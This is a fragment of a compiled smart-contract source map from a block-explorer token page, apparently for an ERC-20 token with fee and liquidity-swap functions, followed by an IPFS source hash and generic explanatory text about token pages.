2;;24158:6;:21;;;;:::i;:::-;24157:29;;;;:::i;:::-;24150:36;;24254:12;;24235:15;;24228:4;:22;;;;:::i;:::-;24227:39;;;;:::i;:::-;24205:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;24334:12:0;;24315:15;;24308:22;;:4;:22;:::i;:::-;24307:39;;;;:::i;:::-;24285:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;24402:12:0;;24389:9;;24382:16;;:4;:16;:::i;:::-;24381:33;;;;:::i;:::-;24365:12;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;;24475:12:0;;24461:10;;24454:17;;:4;:17;:::i;:::-;24453:34;;;;:::i;:::-;24433:16;;:54;;;;;;;:::i;:::-;;;;-1:-1:-1;;24096:407:0;24521:8;;24517:91;;24550:42;24566:4;24580;24587;24550:15;:42::i;:::-;24622:14;24632:4;24622:14;;:::i;:::-;;;22851:1797;24660:33;24676:4;24682:2;24686:6;24660:15;:33::i;:::-;18765:5936;;;;;;;;18652:6049;;;:::o;15955:218::-;-1:-1:-1;;;;;16038:9:0;;;;;;:3;:9;;;;;:17;;-1:-1:-1;;16038:17:0;;;;;;;16068:39;16038:9;:17;16068:26;:39::i;5338:387::-;-1:-1:-1;;;;;5427:21:0;;5419:34;;;;-1:-1:-1;;;5419:34:0;;16647:2:1;5419:34:0;;;16629:21:1;-1:-1:-1;16666:18:1;;;16659:29;16705:18;;5419:34:0;16445:284:1;5419:34:0;-1:-1:-1;;;;;5482:18:0;;5464:15;5482:18;;;;;;;;;;;5519:17;;;;5511:30;;;;-1:-1:-1;;;5511:30:0;;16647:2:1;5511:30:0;;;16629:21:1;-1:-1:-1;16666:18:1;;;16659:29;16705:18;;5511:30:0;16445:284:1;5511:30:0;-1:-1:-1;;;;;5577:18:0;;:9;:18;;;;;;;;;;;5598:16;;;5577:37;;5629:12;:22;;;;;;;5680:37;1979:25:1;;;5577:9:0;;:18;5680:37;;1952:18:1;5680:37:0;1833:177:1;25362:472:0;25452:16;;;25466:1;25452:16;;;;;;;;25428:21;;25452:16;;;;;;;;;;-1:-1:-1;25452:16:0;25428:40;;25497:4;25479;25484:1;25479:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;25479:23:0;;;:7;;;;;;;;;;:23;;;;25523:15;;:22;;;-1:-1:-1;;;25523:22:0;;;;:15;;;;;:20;;:22;;;;;25479:7;;25523:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25513:4;25518:1;25513:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;25513:32:0;;;:7;;;;;;;;;:32;25588:15;;25556:62;;25573:4;;25588:15;25606:11;25556:8;:62::i;:::-;25629:15;;:197;;-1:-1:-1;;;25629:197:0;;-1:-1:-1;;;;;25629:15:0;;;;:66;;:197;;25710:11;;25629:15;;25753:4;;25780;;25800:15;;25629:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25417:417;25362:472;:::o;12251:368::-;12364:15;;12332:62;;12349:4;;-1:-1:-1;;;;;12364:15:0;12382:11;12332:8;:62::i;:::-;12405:15;;:206;;-1:-1:-1;;;12405:206:0;;12477:4;12405:206;;;18580:34:1;18630:18;;;18623:34;;;12405:15:0;18673:18:1;;;18666:34;;;18716:18;;;18709:34;12563:6:0;18759:19:1;;;18752:44;12585:15:0;18812:19:1;;;18805:35;-1:-1:-1;;;;;12405:15:0;;;;:31;;12444:9;;18514:19:1;;12405:206:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12251:368;;:::o;5733:651::-;-1:-1:-1;;;;;5873:20:0;;5865:70;;;;-1:-1:-1;;;5865:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5954:23:0;;5946:71;;;;-1:-1:-1;;;5946:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6054:17:0;;6030:21;6054:17;;;;;;;;;;;6104:23;;;;6082:111;;;;-1:-1:-1;;;6082:111:0;;19364:2:1;6082:111:0;;;19346:21:1;19403:2;19383:18;;;19376:30;19442:34;19422:18;;;19415:62;-1:-1:-1;;;19493:18:1;;;19486:36;19539:19;;6082:111:0;19162:402:1;6082:111:0;-1:-1:-1;;;;;6229:17:0;;;:9;:17;;;;;;;;;;;6249:22;;;6229:42;;6293:20;;;;;;;;:30;;6265:6;;6229:9;6293:30;;6265:6;;6293:30;:::i;:::-;;;;;;;;6358:9;-1:-1:-1;;;;;6341:35:0;6350:6;-1:-1:-1;;;;;6341:35:0;;6369:6;6341:35;;;;1979:25:1;;1967:2;1952:18;;1833:177;6341:35:0;;;;;;;;5854:530;5733:651;;;:::o;15730:217::-;-1:-1:-1;;;;;15843:24:0;;;;;;:16;:24;;;;;;;;;:37;;-1:-1:-1;;15843:37:0;;;;;;;;;;15896:43;;19737:51:1;;;19804:18;;;19797:50;15896:43:0;;19710:18:1;15896:43:0;;;;;;;15730:217;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:383::-;1292:6;1300;1308;1361:2;1349:9;1340:7;1336:23;1332:32;1329:52;;;1377:1;1374;1367:12;1329:52;1416:9;1403:23;1435:31;1460:5;1435:31;:::i;:::-;1485:5;1537:2;1522:18;;1509:32;;-1:-1:-1;1588:2:1;1573:18;;;1560:32;;1215:383;-1:-1:-1;;;1215:383:1:o;2015:456::-;2092:6;2100;2108;2161:2;2149:9;2140:7;2136:23;2132:32;2129:52;;;2177:1;2174;2167:12;2129:52;2216:9;2203:23;2235:31;2260:5;2235:31;:::i;:::-;2285:5;-1:-1:-1;2342:2:1;2327:18;;2314:32;2355:33;2314:32;2355:33;:::i;:::-;2015:456;;2407:7;;-1:-1:-1;;;2461:2:1;2446:18;;;;2433:32;;2015:456::o;2476:180::-;2535:6;2588:2;2576:9;2567:7;2563:23;2559:32;2556:52;;;2604:1;2601;2594:12;2556:52;-1:-1:-1;2627:23:1;;2476:180;-1:-1:-1;2476:180:1:o;2661:385::-;2747:6;2755;2763;2771;2824:3;2812:9;2803:7;2799:23;2795:33;2792:53;;;2841:1;2838;2831:12;2792:53;-1:-1:-1;;2864:23:1;;;2934:2;2919:18;;2906:32;;-1:-1:-1;2985:2:1;2970:18;;2957:32;;3036:2;3021:18;3008:32;;-1:-1:-1;2661:385:1;-1:-1:-1;2661:385:1:o;3448:247::-;3507:6;3560:2;3548:9;3539:7;3535:23;3531:32;3528:52;;;3576:1;3573;3566:12;3528:52;3615:9;3602:23;3634:31;3659:5;3634:31;:::i;3700:416::-;3765:6;3773;3826:2;3814:9;3805:7;3801:23;3797:32;3794:52;;;3842:1;3839;3832:12;3794:52;3881:9;3868:23;3900:31;3925:5;3900:31;:::i;:::-;3950:5;-1:-1:-1;4007:2:1;3992:18;;3979:32;4049:15;;4042:23;4030:36;;4020:64;;4080:1;4077;4070:12;4020:64;4103:7;4093:17;;;3700:416;;;;;:::o;4121:388::-;4189:6;4197;4250:2;4238:9;4229:7;4225:23;4221:32;4218:52;;;4266:1;4263;4256:12;4218:52;4305:9;4292:23;4324:31;4349:5;4324:31;:::i;:::-;4374:5;-1:-1:-1;4431:2:1;4416:18;;4403:32;4444:33;4403:32;4444:33;:::i;4514:380::-;4593:1;4589:12;;;;4636;;;4657:61;;4711:4;4703:6;4699:17;4689:27;;4657:61;4764:2;4756:6;4753:14;4733:18;4730:38;4727:161;;4810:10;4805:3;4801:20;4798:1;4791:31;4845:4;4842:1;4835:15;4873:4;4870:1;4863:15;4727:161;;4514:380;;;:::o;5308:356::-;5510:2;5492:21;;;5529:18;;;5522:30;5588:34;5583:2;5568:18;;5561:62;5655:2;5640:18;;5308:356::o;5669:127::-;5730:10;5725:3;5721:20;5718:1;5711:31;5761:4;5758:1;5751:15;5785:4;5782:1;5775:15;5801:168;5874:9;;;5905;;5922:15;;;5916:22;;5902:37;5892:71;;5943:18;;:::i;5974:217::-;6014:1;6040;6030:132;;6084:10;6079:3;6075:20;6072:1;6065:31;6119:4;6116:1;6109:15;6147:4;6144:1;6137:15;6030:132;-1:-1:-1;6176:9:1;;5974:217::o;6606:125::-;6671:9;;;6692:10;;;6689:36;;;6705:18;;:::i;12858:128::-;12925:9;;;12946:11;;;12943:37;;;12960:18;;:::i;12991:401::-;13193:2;13175:21;;;13232:2;13212:18;;;13205:30;13271:34;13266:2;13251:18;;13244:62;-1:-1:-1;;;13337:2:1;13322:18;;13315:35;13382:3;13367:19;;12991:401::o;13397:399::-;13599:2;13581:21;;;13638:2;13618:18;;;13611:30;13677:34;13672:2;13657:18;;13650:62;-1:-1:-1;;;13743:2:1;13728:18;;13721:33;13786:3;13771:19;;13397:399::o;16866:127::-;16927:10;16922:3;16918:20;16915:1;16908:31;16958:4;16955:1;16948:15;16982:4;16979:1;16972:15;16998:251;17068:6;17121:2;17109:9;17100:7;17096:23;17092:32;17089:52;;;17137:1;17134;17127:12;17089:52;17169:9;17163:16;17188:31;17213:5;17188:31;:::i;17254:980::-;17516:4;17564:3;17553:9;17549:19;17595:6;17584:9;17577:25;17621:2;17659:6;17654:2;17643:9;17639:18;17632:34;17702:3;17697:2;17686:9;17682:18;17675:31;17726:6;17761;17755:13;17792:6;17784;17777:22;17830:3;17819:9;17815:19;17808:26;;17869:2;17861:6;17857:15;17843:29;;17890:1;17900:195;17914:6;17911:1;17908:13;17900:195;;;17979:13;;-1:-1:-1;;;;;17975:39:1;17963:52;;18070:15;;;;18035:12;;;;18011:1;17929:9;17900:195;;;-1:-1:-1;;;;;;;18151:32:1;;;;18146:2;18131:18;;18124:60;-1:-1:-1;;;18215:3:1;18200:19;18193:35;18112:3;17254:980;-1:-1:-1;;;17254:980:1:o;18851:306::-;18939:6;18947;18955;19008:2;18996:9;18987:7;18983:23;18979:32;18976:52;;;19024:1;19021;19014:12;18976:52;19053:9;19047:16;19037:26;;19103:2;19092:9;19088:18;19082:25;19072:35;;19147:2;19136:9;19132:18;19126:25;19116:35;;18851:306;;;;;:::o

Swarm Source

ipfs://8878492afd01f190eb388dde66955b47b3ad2744e08a34cc676ac72534b6e380
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.